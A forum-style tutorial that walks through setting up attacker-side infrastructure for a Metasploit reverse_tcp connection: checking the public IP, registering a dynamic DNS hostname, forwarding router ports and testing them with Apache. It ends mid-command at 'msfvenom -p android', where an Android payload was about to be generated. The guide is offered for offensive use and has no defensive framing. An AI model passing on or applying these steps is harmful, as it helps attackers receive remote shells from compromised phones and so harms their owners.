first of all you need to tell what is your public ip is ...
simply write this command in your console
Code:
curl ipecho.net/plain; echo
after you know what is your public IP ... you are either have a static public IP which is very rare or you are behind a NAT and your public IP is changes every since and a while ..
then you have to go to website like
www.no-ip.com and make a free account there and make new hostname add your current public IP in it ..
let us say you made your host name look like "test999.ddns.net"
you will have to update this hostname either by a client or by your self every time your router reboot ..
the second thing if you are behind a NAT is by which port you will let the reverse_tcp connecting to you
most ISP arround the world prevent 8080 443 most HTTP protocols
open the admin page in your router and choose WAN / Virtual server .. it's depends on your router it maybe called another thing
from there enter the :
service name : anything you want you may type : HTTP Server
port range : [ choose any port ] let's us say for example [9644]
local IP : your local ip that the router will forward this packets throught this port to .. let us say [192.168.1.5]
local port : use the port you entered in the "port range"
click add or save ... [ make sure you add two different ports ] you will need more than one
now to make sure your router opened this port .
let's do this :
open new terminal and type :
Code:
nano /etc/apache2/ports.conf
no under the first tree commented line type : Listen 9644 [the port we added in your router ]
then type CTRL+X and choose the choose yes for saving the file ..
now type in terminal :
Code:
service apache2 start
now we have apache2 server running let us make sure our port is forwarding and can be seeing from the public ...
open canyouseeme website in your browser and enter your ip and the port we already used in .ports.conf for apaches
it should reply with "Success: I can see your service on "
if everything working fine for you till now then you can make Reverce_tcp without any problem ...
type in terminal :
[CODE]
msfvenom -p android